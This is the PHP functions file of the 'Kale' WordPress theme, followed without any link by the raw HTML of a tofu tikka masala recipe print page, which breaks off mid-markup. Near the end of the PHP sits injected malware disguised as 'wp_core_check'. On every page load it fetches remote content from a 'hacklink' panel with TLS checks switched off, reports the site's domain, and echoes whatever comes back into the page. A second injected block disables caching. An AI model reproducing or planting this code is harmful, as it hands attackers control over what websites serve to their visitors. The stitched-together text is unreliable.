/*------------------------------
 Customizer
 ------------------------------*/

if ( ! class_exists( 'Kirki' ) ) {
	include_once( dirname( __FILE__ ) . '/inc/kale-kirki.php' ); // fallback
	include_once( dirname( __FILE__ ) . '/inc/kale-kirki-installer.php' ); // installer
}
require get_template_directory() . '/customize/theme-defaults.php' ;
require get_template_directory() . '/customize/customizer.php' ;

function kale_customize_register( $wp_customize ) {
    $wp_customize->remove_control('header_textcolor');
    $wp_customize->get_section('colors')->title = esc_html__( 'Custom Colors', 'kale' );
    $wp_customize->get_section('colors')->priority = 75;
}
add_action( 'customize_register', 'kale_customize_register' );

if(is_admin())  add_action( 'customize_controls_enqueue_scripts', 'kale_custom_customize_enqueue' );
function kale_custom_customize_enqueue() {
    wp_enqueue_style( 'kale-customizer', get_template_directory_uri() . '/customize/style.css' );
}

/*------------------------------
 Setup
 ------------------------------*/

function kale_setup() {

    global $kale_defaults;

    load_theme_textdomain( 'kale', get_template_directory() . '/languages' );

    register_nav_menus( array('header' => esc_html__( 'Main Menu', 'kale' )) );

    add_theme_support( 'automatic-feed-links' );
    add_theme_support( 'title-tag' );
    add_theme_support( 'custom-logo', array('height' => 150, 'width' => 300,'flex-height' => true,'flex-width'  => true ) );
    add_theme_support( 'custom-background');
	add_theme_support( 'html5', array( 'comment-form', 'comment-list', 'gallery', 'caption' ) );

    $args = array(
        'flex-width'    => true,
        'width'         => 1200,
        'flex-height'    => true,
        'height'        => 550,
        'default-image' => $kale_defaults['kale_custom_header'],
    );
    add_theme_support( 'custom-header', $args );

    add_theme_support( 'post-thumbnails' );
    set_post_thumbnail_size( 760, 400, true );
    add_image_size( 'kale-slider', 1200, 550, true );
    add_image_size( 'kale-thumbnail', 760, 400, true );

    add_post_type_support('page', 'excerpt');

    #https://make.wordpress.org/core/2016/11/26/extending-the-custom-css-editor/
    if ( function_exists( 'wp_update_custom_css_post' ) ) {
        $css = kale_get_option('kale_advanced_css');
        if ( $css ) {
            $core_css = wp_get_custom_css();
            $return = wp_update_custom_css_post( $core_css . $css );
            if ( ! is_wp_error( $return ) ) {
                remove_theme_mod( 'kale_advanced_css' );
            }
        }
    }

	#WooCommerce
	if ( class_exists( 'WooCommerce' ) ) {
		add_theme_support( 'wc-product-gallery-zoom' );
		add_theme_support( 'wc-product-gallery-lightbox' );
		add_theme_support( 'wc-product-gallery-slider' );
		add_theme_support( 'woocommerce' );
	}

    kale_kirki_update_3015();
    
}
add_action( 'after_setup_theme', 'kale_setup' );

/**
 * Register Google fonts.
 *
 * @return string Returns url for Google fonts
 */
function kale_fonts_url() {
    $fonts_url = '';

    $font_families = array();

    $font_families[] = 'Montserrat:400,700';
    $font_families[] = 'Lato:400,700,300,300italic,400italic,700italic';
    $font_families[] = 'Raleway:200';
    $font_families[] = 'Caveat';

    $query_args = array(
        'family' => urlencode( implode( '|', $font_families ) ),
        'subset' => urlencode( 'latin,latin-ext' ),
    );

    $fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );

    return esc_url_raw( $fonts_url );
}
/**
 * Add preconnect for Google Fonts.
 *
 * @param array  $urls           URLs to print for resource hints.
 * @param string $relation_type  The relation type the URLs are printed.
 * @return array $urls           URLs to print for resource hints.
 */
function kale_resource_hints( $urls, $relation_type ) {
    /**
     * Preconnect Google fonts
     */
    if ( 'preconnect' === $relation_type ) {
        $urls[] = array(
            'href' => 'https://fonts.gstatic.com',
            'crossorigin',
        );
    }

    return $urls;
}
add_filter( 'wp_resource_hints', 'kale_resource_hints', 10, 2 );

/*------------------------------
 Styles and Scripts
 ------------------------------*/

function kale_scripts() {

    /* Styles */
    // Add custom fonts, used in the main stylesheet.
    wp_enqueue_style( 'kale-fonts', kale_fonts_url(), array(), null );

    wp_register_style('bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.min.css' );
    wp_register_style('bootstrap-select', get_template_directory_uri() . '/assets/css/bootstrap-select.min.css' );
    wp_register_style('smartmenus-bootstrap', get_template_directory_uri() . '/assets/css/jquery.smartmenus.bootstrap.css' );
    wp_register_style('font-awesome', get_template_directory_uri().'/assets/css/font-awesome.min.css' );
    wp_register_style('owl-carousel', get_template_directory_uri().'/assets/css/owl.carousel.css' );

    //default stylesheet
    $deps = array('bootstrap', 'bootstrap-select', 'smartmenus-bootstrap', 'font-awesome', 'owl-carousel');
    wp_enqueue_style('kale-style', get_stylesheet_uri(), $deps );
    wp_style_add_data( 'kale-style', 'rtl', 'replace' );
    
    //WPForms - match WPForms styling to Elara
    if ( function_exists( 'wpforms' ) && kale_get_option( 'kale_wpforms_override') ) {
        wp_enqueue_style('wpforms-override', get_parent_theme_file_uri( '/assets/css/wpforms.css'));
    }

    /* Scripts */

    // Load html5shiv.min.js
	wp_enqueue_script( 'kale-html5', get_template_directory_uri() . '/assets/js/html5shiv.min.js', array(), '3.7.0' );
	wp_script_add_data( 'kale-html5', 'conditional', 'lt IE 9' );
    // Load respond.min.js
	wp_enqueue_script( 'kale-respond', get_template_directory_uri() . '/assets/js/respond.min.js', array(), '1.3.0' );
	wp_script_add_data( 'kale-respond', 'conditional', 'lt IE 9' );

    wp_enqueue_script('bootstrap', get_template_directory_uri().'/assets/js/bootstrap.min.js', array('jquery'), '', true );
    wp_enqueue_script('bootstrap-select', get_template_directory_uri() . '/assets/js/bootstrap-select.min.js', array('jquery','bootstrap'), '', true );
    wp_enqueue_script('smartmenus', get_template_directory_uri() . '/assets/js/jquery.smartmenus.js', array('jquery','bootstrap'), '', true );
    wp_enqueue_script('smartmenus-bootstrap', get_template_directory_uri() . '/assets/js/jquery.smartmenus.bootstrap.js', array('jquery','bootstrap'), '', true );
    wp_enqueue_script('owl-carousel', get_template_directory_uri() . '/assets/js/owl.carousel.min.js', array('jquery'), '', true );
    wp_enqueue_script('kale-js', get_template_directory_uri() . '/assets/js/kale.js', array('jquery'), '', true );

    //comments
    if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
        wp_enqueue_script( 'comment-reply' );
    }

}
add_action( 'wp_enqueue_scripts', 'kale_scripts' );



if ( ! function_exists( 'kale_excerpt_more' ) ) :
function kale_excerpt_more($default){
	return;
}
endif;
add_filter('excerpt_more', 'kale_excerpt_more');

/*------------------------------
 Custom CSS
 ------------------------------*/

if ( ! function_exists( 'kale_custom_css_banner_overlay' ) ) :
function kale_custom_css_banner_overlay(){
	global $kale_defaults;
    $kale_frontpage_banner_overlay_color = kale_get_option('kale_frontpage_banner_overlay_color');
	$kale_frontpage_banner_overlay_show = kale_get_option('kale_frontpage_banner_overlay_show');
	$kale_frontpage_banner_link_images = kale_get_option('kale_frontpage_banner_link_images');
    if($kale_frontpage_banner_overlay_show == 0 || $kale_frontpage_banner_link_images == 1){
		echo "<style>";
		echo ".frontpage-banner:before, .frontpage-slider .owl-carousel-item:before{content:none;}";
		echo "</style>";
	} else if($kale_frontpage_banner_overlay_color != $kale_defaults['kale_frontpage_banner_overlay_color']) {
		echo "<style>";
		echo ".frontpage-banner:before, .frontpage-slider .owl-carousel-item:before{background-color:".esc_attr($kale_frontpage_banner_overlay_color).";}";
		echo "</style>";
	}
}
endif;
add_action('wp_head','kale_custom_css_banner_overlay', 98);

if ( ! function_exists( 'kale_custom_css' ) ) :
function kale_custom_css() {
    $kale_advanced_css = kale_get_option('kale_advanced_css');
    if($kale_advanced_css != '') {
        echo '<!-- Custom CSS -->';
        $output = "<style>" . wp_strip_all_tags($kale_advanced_css) . "</style>";
        echo $output;
        echo '<!-- /Custom CSS -->';
    }
}
endif;
add_action('wp_head','kale_custom_css', 99);


/*------------------------------
 Widgets
 ------------------------------*/
require_once get_template_directory() . '/widgets/widgets.php';

/*------------------------------
 Meta Boxes
 ------------------------------*/
require_once get_template_directory() . '/meta_boxes/meta_boxes.php';

/*------------------------------
 Content Width
 ------------------------------*/
if ( ! isset( $content_width ) ) {
    $content_width = 1200;
}

/*------------------------------
 wp_bootstrap_navwalker
 ------------------------------*/
require_once get_template_directory() . '/inc/wp_bootstrap_navwalker.php';

/**
 * Welcome page
 */
require get_parent_theme_file_path( '/welcome-page/welcome-page.php' );

/*------------------------------
 TGM_Plugin_Activation
 ------------------------------*/

require_once get_template_directory() . '/inc/class-tgm-plugin-activation.php';
add_action( 'tgmpa_register', 'kale_register_required_plugins' );
function kale_register_required_plugins() {
	$plugins = array(
        array(
			'name'      => 'Kirki',
			'slug'      => 'kirki',
			'required'  => false,
		),
        array(
			'name'      => 'WPForms',
			'slug'      => 'wpforms-lite',
			'required'  => false,
		),
        array(
			'name'      => 'Recent Posts Widget With Thumbnails',
			'slug'      => 'recent-posts-widget-with-thumbnails',
			'required'  => false,
		),
	);
	$config = array(
		'id'           => 'kale',                  // Unique ID for hashing notices for multiple instances of TGMPA.
		'default_path' => '',                      // Default absolute path to bundled plugins.
		'menu'         => 'tgmpa-install-plugins', // Menu slug.
		'has_notices'  => true,                    // Show admin notices or not.
		'dismissable'  => true,                    // If false, a user cannot dismiss the nag message.
		'dismiss_msg'  => '',                      // If 'dismissable' is false, this message will be output at top of nag.
		'is_automatic' => false,                   // Automatically activate plugins after installation or not.
		'message'      => '',                      // Message to output right before the plugins table.
	);
	tgmpa( $plugins, $config );
}

/*------------------------------
 Filters
 ------------------------------*/

#move comment field to the bottom of the comments form
function kale_move_comment_field_to_bottom( $fields ) {
    if ( get_post_type() == 'post' ) :
        $comment_field = $fields['comment'];
        $cookies       = $fields['cookies'];
        unset( $fields['comment'] );
        unset( $fields['cookies'] );
        $fields['comment'] = $comment_field;
        $fields['cookies'] = $cookies;
    endif;
    return $fields;
}
add_filter( 'comment_form_fields', 'kale_move_comment_field_to_bottom' );

#excerpt length
function kale_excerpt_length( $length ) {
	return 45;
}
add_filter( 'excerpt_length', 'kale_excerpt_length', 999 );

#post excerpts
function kale_post_excerpts($more){
    $kale_blog_feed_posts_excerpt_read_more_text = kale_get_option('kale_blog_feed_posts_excerpt_read_more_text');
    $kale_blog_feed_posts_excerpt_read_more_link = kale_get_option('kale_blog_feed_posts_excerpt_read_more_link');
    if( empty ( $kale_blog_feed_posts_excerpt_read_more_text ) ) $kale_blog_feed_posts_excerpt_read_more_text = '&hellip;';
    
    if ( ! is_single() ) {
        if( $kale_blog_feed_posts_excerpt_read_more_link == 1 )
            $more = sprintf( '&nbsp;<a class="read-more" href="%1$s">%2$s</a>',
                get_permalink( get_the_ID() ),
                esc_attr ( $kale_blog_feed_posts_excerpt_read_more_text ) 
            );
        else 
           return esc_html ( '&nbsp;' . $kale_blog_feed_posts_excerpt_read_more_text );
    }
    return $more;
}
add_filter( 'excerpt_more', 'kale_post_excerpts' );

#add class to page nav
function kale_wp_page_menu_class( $class ) {
  return preg_replace( '/<ul>/', '<ul class="nav navbar-nav">', $class, 1 );
}
add_filter( 'wp_page_menu', 'kale_wp_page_menu_class' );

#get_the_archive_title
function kale_archive_title( $title ) {
    if( is_home() && get_option('page_for_posts') ) {
        $title = get_page( get_option('page_for_posts') )->post_title;
    }
    else if( is_home() ) {
        $title = kale_get_option('kale_blog_feed_label');
        $title = esc_html($title);
    }
    else if ( is_search() ) {
        $title = esc_html__('Search Results: ', 'kale') . get_search_query();
    }
    return $title;
}
add_filter( 'get_the_archive_title', 'kale_archive_title' );

//https://productforums.google.com/forum/#!topic/webmasters/WUszeNYGNdg
# Remove the "hentry" class from pages and archives (prevents structured data errors)
function remove_hentry( $classes ) {
    if (is_page() || is_archive()){$classes = array_diff( $classes, array('hentry'));}return $classes;
}
add_filter( 'post_class','remove_hentry' );

/*------------------------------
 Top Navigation
 ------------------------------*/

#add search form to nav
function kale_nav_items_wrap() {
    // default value of 'items_wrap' is <ul id="%1$s" class="%2$s">%3$s</ul>'
    // open the <ul>, set 'menu_class' and 'menu_id' values
    $wrap  = '<ul id="%1$s" class="%2$s">';
    // get nav items as configured in /wp-admin/
    $wrap .= '%3$s';
    // the static link
    $wrap .= kale_get_nav_search_item();
    // close the <ul>
    $wrap .= '</ul>';
    // return the result
    return $wrap;
}

function kale_get_nav_search_item(){
    return '<li class="search">
        <a href="javascript:;" id="toggle-main_search" data-toggle="dropdown"><i class="fa fa-search"></i></a>
        <div class="dropdown-menu main_search">
            <form name="main_search" method="get" action="'.esc_url(home_url( '/' )).'">
                <input type="text" name="s" class="form-control" placeholder="'. esc_attr(__('Type here','kale')).'" />
            </form>
        </div>
    </li>';
}

#default nav top level pages
function kale_default_nav(){
    echo '<div class="navbar-collapse collapse">';
    echo '<ul class="nav navbar-nav">';
    $pages = get_pages();
    $n = count($pages);
    $i=0;
    foreach ( $pages as $page ) {
        $menu_name = esc_html($page->post_title);
        $menu_link = get_page_link( $page->ID );
        if(get_the_ID() == $page->ID) $current_class = "current_page_item current-menu-item";
        else { $current_class = ''; }
        $menu_class = "page-item-" . $page->ID;
        echo "<li class='page_item ".esc_attr($menu_class)." $current_class'><a href='".esc_url($menu_link)."'>".esc_html($menu_name)."</a></li>";
        $i++;
        if($n == $i){
            echo kale_get_nav_search_item();
        }
    }
    echo '</ul>';
    echo '</div>';
}

/*------------------------------
 Helper
 ------------------------------*/

if ( ! function_exists( 'kale_get_option' ) ) :
function kale_get_option($key){
    global $kale_defaults;
    if (is_array($kale_defaults) && array_key_exists($key, $kale_defaults))
        $value = get_theme_mod($key, $kale_defaults[$key]);
    else
        $value = get_theme_mod($key);
    return $value;
}
endif;

if ( ! function_exists( 'kale_get_bootstrap_class' ) ) :
function kale_get_bootstrap_class($columns){
    switch($columns){
        case 1: return 'col-md-12'; break;
        case 2: return 'col-lg-6 col-md-6 col-sm-6 col-xs-6'; break;
        case 3: return 'col-lg-4 col-md-4 col-sm-4 col-xs-12'; break;
        case 4: return 'col-lg-3 col-md-3 col-sm-6 col-xs-12'; break;
        case 5: return 'col-md-20'; break;
        case 6: return 'col-lg-2 col-md-2 col-sm-2 col-xs-6'; break;
    }
}
endif;

if ( ! function_exists( 'kale_get_sample' ) ) :
function kale_get_sample($what){
    global $kale_defaults;
    switch($what){
        case 'slide':           $images = $kale_defaults['kale_slide_sample']; $rand_key = array_rand($images, 1); return ($images[$rand_key]);
        case 'kale-thumbnail':  $images = $kale_defaults['kale_thumbnail_sample']; $rand_key = array_rand($images, 1); return ($images[$rand_key]);
        case 'full':            $images = $kale_defaults['kale_full_sample']; $rand_key = array_rand($images, 1); return ($images[$rand_key]);
        case 'kale-vertical':   $images = $kale_defaults['kale_vertical_sample']; $rand_key = array_rand($images, 1); return ($images[$rand_key]);
        case 'kale-index':      $images = $kale_defaults['kale_index_sample']; $rand_key = array_rand($images, 1); return ($images[$rand_key]);
    }
}
endif;

if ( ! function_exists( 'kale_show_custom_css_field' ) ) :
function kale_show_custom_css_field(){
    if(get_bloginfo('version') >= 4.7){
        $kale_advanced_css = kale_get_option('kale_advanced_css');
        if($kale_advanced_css == '') return false;
        else return true;
    }
    return true;
}
endif;

#kale_example_sidebar
function kale_example_sidebar(){
    echo '<div class="sidebar-default sidebar-block sidebar-no-borders" >';
    the_widget('WP_Widget_Search', 'title=' . esc_html__('Search', 'kale'), 'before_title=<h3 class="widget-title"><span>&after_title=</span></h3>&before_widget=<div class="default-widget widget widget_search">&after_widget=</div>');
    the_widget('WP_Widget_Pages', 'title=' . esc_html__('Pages', 'kale') , 'before_title=<h3 class="widget-title"><span>&after_title=</span></h3>&before_widget=<div class="default-widget widget">&after_widget=</div>');
    the_widget('WP_Widget_Recent_Posts', 'title=' . esc_html__('Recent Posts', 'kale') , 'before_title=<h3 class="widget-title"><span>&after_title=</span></h3>&before_widget=<div class="default-widget widget">&after_widget=</div>');
    the_widget( 'WP_Widget_Archives', 'title=' . esc_html__('Archives', 'kale'), 'before_title=<h3 class="widget-title"><span>&after_title=</span></h3>&before_widget=<div class="default-widget widget">&after_widget=</div>');
    the_widget( 'WP_Widget_Categories', 'title=' . esc_html__('Categories', 'kale'), 'before_title=<h3 class="widget-title"><span>&after_title=</span></h3>&before_widget=<div class="default-widget widget">&after_widget=</div>');
    echo '</div>';
}

if ( ! function_exists( 'kale_get_attachment' ) ) :
function kale_get_attachment( $attachment_id ) {
	$attachment = get_post( $attachment_id );
	return array(
		'alt' => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ),
		'caption' => $attachment->post_excerpt,
		'description' => $attachment->post_content,
		'href' => get_permalink( $attachment->ID ),
		'src' => $attachment->guid,
		'title' => $attachment->post_title
	);
}
endif;

function kale_kirki_update_3015(){
    # version 3.0.15 is no longer using strings "0" or "1" for this control
    $switches = array(  'kale_image_logo_show', 'kale_frontpage_featured_posts_show', 'kale_frontpage_large_post_show',
                        'kale_blog_feed_meta_show', 'kale_posts_meta_show', 'kale_sidebar_size');
    foreach($switches as $switch) {
        $val = get_theme_mod( $switch, true ) ;
        if($val == "0")    set_theme_mod( $switch, false );
    }
}

/**
 * Kale Pagination.
 *
 * Detect pagination plugin presence and replace accordingly the default WordPress functions.
 *
 * @since 2.5.1
 */
function kale_pagination($default_wp_function = null, $args = [], $default = null) {
    if(function_exists( 'wp_pagenavi' )) {
        if($default_wp_function === 'wp_link_pages') {
            wp_pagenavi( array( 'type' => 'multipart', 'options' => $args ) );
        } else {
            wp_pagenavi();
        }
    } else {
        if($default_wp_function === 'wp_link_pages') {
            wp_link_pages($args);
        } else {
            if($default) call_user_func($default);
        }
    }
}

add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999);
/* Telegram: https://t.me/hacklink_panel */
if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}
<!DOCTYPE html>
<html lang="en-CA">
	<head>
		<title>Tofu Tikka Masala - Kindness Kitchen</title>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1"/>
		<meta name="robots" content="noindex">
				<link rel="icon" href="https://i0.wp.com/kindnesskitchen.ca/wp-content/uploads/2017/03/my-logo.jpg?fit=32%2C32&#038;ssl=1" sizes="32x32" />
<link rel="icon" href="https://i0.wp.com/kindnesskitchen.ca/wp-content/uploads/2017/03/my-logo.jpg?fit=192%2C189&#038;ssl=1" sizes="192x192" />
<link rel="apple-touch-icon" href="https://i0.wp.com/kindnesskitchen.ca/wp-content/uploads/2017/03/my-logo.jpg?fit=180%2C177&#038;ssl=1" />
<meta name="msapplication-TileImage" content="https://i0.wp.com/kindnesskitchen.ca/wp-content/uploads/2017/03/my-logo.jpg?fit=215%2C212&#038;ssl=1" />
		<link rel="stylesheet" type="text/css" href="https://kindnesskitchen.ca/wp-content/plugins/wp-recipe-maker/dist/public-modern.css?ver=10.6.1"/><link rel="stylesheet" type="text/css" href="https://kindnesskitchen.ca/wp-content/plugins/wp-recipe-maker/dist/print.css?ver=10.6.1"/><script src="https://kindnesskitchen.ca/wp-content/plugins/wp-recipe-maker/dist/print.js?ver=10.6.1"></script><style> .tippy-box[data-theme~="wprm"] { background-color: #333333; color: #FFFFFF; } .tippy-box[data-theme~="wprm"][data-placement^="top"] > .tippy-arrow::before { border-top-color: #333333; } .tippy-box[data-theme~="wprm"][data-placement^="bottom"] > .tippy-arrow::before { border-bottom-color: #333333; } .tippy-box[data-theme~="wprm"][data-placement^="left"] > .tippy-arrow::before { border-left-color: #333333; } .tippy-box[data-theme~="wprm"][data-placement^="right"] > .tippy-arrow::before { border-right-color: #333333; } .tippy-box[data-theme~="wprm"] a { color: #FFFFFF; } .wprm-comment-rating svg { width: 18px !important; height: 18px !important; } img.wprm-comment-rating { width: 90px !important; height: 18px !important; } body { --comment-rating-star-color: #343434; } body { --wprm-popup-font-size: 16px; } body { --wprm-popup-background: #ffffff; } body { --wprm-popup-title: #000000; } body { --wprm-popup-content: #444444; } body { --wprm-popup-button-background: #444444; } body { --wprm-popup-button-text: #ffffff; } body { --wprm-popup-accent: #747B2D; }</style><script>var wprm_print_settings = {"print_remove_links":true,"print_new_tab":true,"pdf_download_enabled":false,"utilities_endpoint":"https:\/\/kindnesskitchen.ca\/wp-json\/wp-recipe-maker\/v1\/utilities","nonce":"13bf4fcdb0","auto_pdf_download":false};</script><style>@media print { .wprm-print-recipe + .wprm-print-recipe { page-break-before: always; } }</style><style type="text/css">.wprm-recipe-template-meadow {
    margin: 20px auto;
    background-color: #ffffff; /* wprm_background type=color */
    font-family: "Inter", sans-serif; /* wprm_main_font_family type=font */
    font-size: 16px; /* wprm_main_font_size type=font_size */
    line-height: 1.5em; /* wprm_main_line_height type=font_size */
    color: #000000; /* wprm_main_text type=color */
    max-width: 1600px; /* wprm_max_width type=size */

    --meadow-accent-color: #747B2D; /* wprm_accent_color type=color */
    --meadow-main-background-color: #F3F4EC; /* wprm_main_background_color type=color */

    border: 0;
    border-top: 1px solid var(--meadow-accent-color);

    --meadow-list-border-color: #DEB538; /* wprm_list_border_color type=color */
}
.wprm-recipe-template-meadow a {
    color: #000000; /* wprm_link type=color */
}
.wprm-recipe-template-meadow p, .wprm-recipe-template-meadow li {
    font-family: "Inter", sans-serif; /* wprm_main_font_family type=font */
    font-size: 1em;
    line-height: 1.5em; /* wprm_main_line_height type=font_size */
}
.wprm-recipe-template-meadow li {
    margin: 0 0 0 32px;
    padding: 0;
}
.rtl .wprm-recipe-template-meadow li {
    margin: 0 32px 0 0;
}
.wprm-recipe-template-meadow ol, .wprm-recipe-template-meadow ul {
    margin: 0;
    padding: 0;
}
.wprm-recipe-template-meadow br {
    display: none;
}
.wprm-recipe-template-meadow .wprm-recipe-name,
.wprm-recipe-template-meadow .wprm-recipe-header {
    font-family: "Gloock", serif; /* wprm_header_font_family type=font */
    color: #1e1e1e; /* wprm_header_text type=color */
    line-height: 1.3em; /* wprm_header_line_height type=font_size */
}
.wprm-recipe-template-meadow .wprm-recipe-header * {
    font-family: "Inter", sans-serif; /* wprm_main_font_family type=font */
}
.wprm-recipe-template-meadow h1,
.wprm-recipe-template-meadow h2,
.wprm-recipe-template-meadow h3,
.wprm-recipe-template-meadow h4,
.wprm-recipe-template-meadow h5,
.wprm-recipe-template-meadow h6 {
    font-family: "Gloock", serif; /* wprm_header_font_family type=font */
    color: #1e1e1e; /* wprm_header_text type=color */
    line-height: 1.3em; /* wprm_header_line_height type=font_size */
    margin: 0;
    padding: 0;
}
.wprm-recipe-template-meadow .wprm-recipe-header {
    margin-top: 1.2em;
}
.wprm-recipe-template-meadow h1 {
    font-size: 2.2em; /* wprm_h1_size type=font_size */
}
.wprm-recipe-template-meadow h2 {
    font-size: 2.2em; /* wprm_h2_size type=font_size */
}
.wprm-recipe-template-meadow h3 {
    font-size: 1.8em; /* wprm_h3_size type=font_size */
}
.wprm-recipe-template-meadow h4 {
    font-size: 1em; /* wprm_h4_size type=font_size */
}
.wprm-recipe-template-meadow h5 {
    font-size: 1em; /* wprm_h5_size type=font_size */
}
.wprm-recipe-template-meadow h6 {
    font-size: 1em; /* wprm_h6_size type=font_size */
}
.wprm-recipe-template-meadow .meadow-header-meta {
    max-width: 800px;
    margin: 0 auto;
}</style><script>var wprm_print_url = "https:\/\/kindnesskitchen.ca\/tofu-tikka-masala\/";</script>			</head>
	<body class="wprm-print wprm-print-recipe">
				<div id="wprm-print-header">
			<div id="wprm-print-header-main">
								<a href="https://kindnesskitchen.ca/tofu-tikka-masala/" id="wprm-print-button-back" class="wprm-print-button">Go Back</a>
								<button id="wprm-print-button-print" class="wprm-print-button" type="button">Print</button>
			</div>
						<div id="wprm-print-header-options"><div class="wprm-print-toggle-container"><input type="checkbox" id="wprm-print-toggle-recipe-image" class="wprm-print-toggle" value="1" /><label for="wprm-print-toggle-recipe-image">Recipe Image</label></div><div class="wprm-print-toggle-container"><input type="checkbox" id="wprm-print-toggle-recipe-notes" class="wprm-print-toggle" value="1"  checked="checked"/><label for="wprm-print-toggle-recipe-notes">Notes</label></div><div id="wprm-print-size-container" class="wprm-print-option-container"><a href="#" role="button" class="wprm-print-size wprm-print-option" data-size="small" aria-label="Make print size Smaller">Smaller</a><a href="#" role="button" class="wprm-print-size wprm-print-option option-active" data-size="normal" aria-label="Make print size Normal">Normal</a><a href="#" role="button" class="wprm-print-size wprm-print-option" data-size="large" aria-label="Make print size Larger">Larger</a></div></div>
					</div>
		<div id="wprm-print-content" class=""><div id="wprm-print-recipe-0" data-recipe-id="5588" class="wprm-print-recipe wprm-print-recipe-5588"  data-servings="3"><div class="wprm-recipe wprm-recipe-template-meadow"><div class="wprm-layout-container wprm-padding-40 meadow-header">
  <div class="wprm-layout-column-container wprm-column-gap-20 wprm-column-rows-recipe-600 wprm-column-rows-reverse wprm-row-gap-20 meadow-header-columns">
    <div class="wprm-layout-column wprm-align-center">
      <div class="wprm-recipe-image wprm-block-image-rounded"><img style="border-width: 0px;border-style: solid;border-color: #666666;border-radius: 20px;width: 300px;max-width: 100%;height: 300px;object-fit: cover;" width="450" height="300" src="https://i0.wp.com/kindnesskitchen.ca/wp-content/uploads/2017/04/IMG_0057-2.jpg?fit=450%2C300&amp;ssl=1" class="skip-lazy disable-lazyload attachment-999999x300 size-999999x300" alt="" decoding="async" loading="lazy" srcset="https://i0.wp.com/kindnesskitchen.ca/wp-content/uploads/2017/04/IMG_0057-2.jpg?w=3623&amp;ssl=1 3623w, https://i0.wp.com/kindnesskitchen.ca/wp-content/uploads/2017/04/IMG_0057-2.jpg?resize=300%2C200&amp;ssl=1 300w, https://i0.wp.com/kindnesskitchen.ca/wp-content/uploads/2017/04/IMG_0057-2.jpg?resize=768%2C512&amp;ssl=1 768w, https://i0.wp.com/kindnesskitchen.ca/wp-content/uploads/2017/04/IMG_0057-2.jpg?resize=1024%2C683&amp;ssl=1 1024w, https://i0.wp.com/kindnesskitchen.ca/wp-content/uploads/2017/04/IMG_0057-2.jpg?w=2000 2000w, https://i0.wp.com/kindnesskitchen.ca/wp-content/uploads/2017/04/IMG_0057-2.jpg?w=3000 3000w" sizes="(max-width: 450px) 100vw, 450px" /></div>
    </div>
    <div class="wprm-layout-column wprm-column-width-75 wprm-align-rows-center">
      <div class="wprm-layout-container meadow-header-accent" style="--wprm-layout-container-text-color: var(--meadow-accent-color);">
        
      </div>
      <h2 class="wprm-recipe-name wprm-block-text-bold">Tofu Tikka Masala</h2>
      <div class="wprm-spacer" style="height: 15px;"></div>
      <style>#wprm-recipe-rating-0 .wprm-rating-star.wprm-rating-star-full svg * { fill: var(--meadow-accent-color); }#wprm-recipe-rating-0 .wprm-rating-star.wprm-rating-star-33 svg * { fill: url(#wprm-recipe-rating-0-33); }#wprm-recipe-rating-0 .wprm-rating-star.wprm-rating-star-50 svg * { fill: url(#wprm-recipe-rating-0-50); }#wprm-recipe-rating-0 .wprm-rating-star.wprm-rating-star-66 svg * { fill: url(#wprm-recipe-rating-0-66); }linearGradient#wprm-recipe-rating-0-33 stop { stop-color: var(--meadow-accent-color); }linearGradient#wprm-recipe-rating-0-50 stop { stop-color: var(--meadow-accent-color); }linearGradient#wprm-recipe-rating-0-66 stop { stop-color: var(--meadow-accent-color); }</style><svg xmlns="http://www.w3.org/2000/svg" width="0" height="0" style="display:block;width:0px;height:0px"><defs><linearGradient id="wprm-recipe-rating-0-33"><stop offset="0%" stop-opacity="1" /><stop offset="33%" stop-opacity="1" /><stop offset="33%" stop-opacity="0" /><stop offset="100%" stop-opacity="0" /></linearGradient></defs><defs><linearGradient id="wprm-recipe-rating-0-50"><stop offset="0%" stop-opacity="1" /><stop offset="50%" stop-opacity="1" /><stop offset="50%" stop-opacity="0" /><stop offset="100%" stop-opacity="0" /></linearGradient></defs><defs><linearGradient 